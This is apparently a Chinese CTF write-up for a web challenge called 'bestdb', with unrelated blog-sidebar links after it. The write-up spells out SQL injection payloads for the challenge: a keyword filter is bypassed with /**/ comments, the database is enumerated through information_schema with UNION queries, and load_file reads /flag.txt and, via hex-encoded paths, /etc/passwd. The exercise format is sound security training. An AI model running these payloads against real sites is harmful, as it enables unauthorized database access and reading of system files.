【web]-sql注入-bestdb

打开页面后,如图

查看源代码,发现有段注释,尝试sql注入

<!--                $sql = "SELECT * FROM users WHERE id = '$query' OR username = \"$query\"";-->
1、尝试万能密码 1 or 1=1# / admin, 提示Forbidden!!!,flag,空格等关键字被过滤禁用

2、根据sql语句分析,可以用admin"/**/or/**/1=1# 或者admin"/**/or/**/1=1%23 试试,获取了payload

3、暴库 ?query=admin"/**/union/**/select/**/1,database(),3%23

4、爆表?query=admin"/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23

5、爆字段?query=admin"/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x66316167646173%23
6、十六进制编码,读取文件
?query=admin"/**/union/**/select/**/1,load_file(0x2f666c61672e747874),3%23

最终获取flag: 352f1504696639a0d71c2d36591d505b

16进制编码如下:

/flag.txt  2f666c61672e747874  0x2f666c61672e747874

/etc/passwd 2f6574632f706173737764  0x2f6574632f706173737764

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-12 23:18:04       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-12 23:18:04       72 阅读
  3. 在Django里面运行非项目文件

    2024-07-12 23:18:04       58 阅读
  4. Python语言-面向对象

    2024-07-12 23:18:04       69 阅读

热门阅读

  1. 学习大数据DAY15 PLSQL基础语法4

    2024-07-12 23:18:04       14 阅读
  2. 发改委对招标投标领域问题答复汇总

    2024-07-12 23:18:04       20 阅读
  3. 使用JDBC实现事务管理与隔离级别设置

    2024-07-12 23:18:04       19 阅读
  4. SDK游戏盾、高防IP和高防CDN有什么区别

    2024-07-12 23:18:04       19 阅读
  5. docker compose down -v 是什么意思

    2024-07-12 23:18:04       20 阅读
  6. Perl文件锁机制:守护你的数据安全

    2024-07-12 23:18:04       20 阅读
  7. js面试题2024

    2024-07-12 23:18:04       19 阅读
  8. ArkTS学习笔记_自定义组件

    2024-07-12 23:18:04       23 阅读
  9. Oracle的wrap工具怎么用

    2024-07-12 23:18:04       22 阅读
  10. 昇思25天学习打卡营第18天 | LSTM+CRF序列标注

    2024-07-12 23:18:04       20 阅读
  11. Memcached介绍和详解

    2024-07-12 23:18:04       23 阅读
  12. 论文阅读:A Survey on Evaluation of Large Language Models

    2024-07-12 23:18:04       26 阅读